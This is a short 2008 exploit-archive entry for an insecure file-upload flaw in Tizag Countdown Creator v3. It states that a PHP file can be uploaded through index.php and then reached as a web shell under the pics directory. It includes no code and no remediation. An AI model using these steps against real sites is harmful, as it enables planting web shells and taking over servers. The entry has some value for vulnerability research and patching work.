[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Tizag Countdown Creator .v.3 Insecure Upload Vulnerability
# Published : 2008-12-05
# Author : ahmadbady
# Previous Title : Cold BBS (cforum.mdb) Remote Database Disclosure Vulnerability
# Next Title : ASP AutoDealer (SQL/DD) Multiple Remote Vulnerabilities


****(remote file upload)****

script: tizag-countdown_Version_3
                   
***************************************************************************
download from:http://www.tizag.com/downloads/tizag-countdown_Version_3.zip
                                                                                                         
***************************************************************************
www.site.com/path/index.php (upload file.php)

shell= www.site.com/path/pics/file.php
                          
***************************************************


Author: ahmadbady 

my mail: kivi_hacker666@yahoo.com

***************************************************

# www.Syue.com [2008-12-05]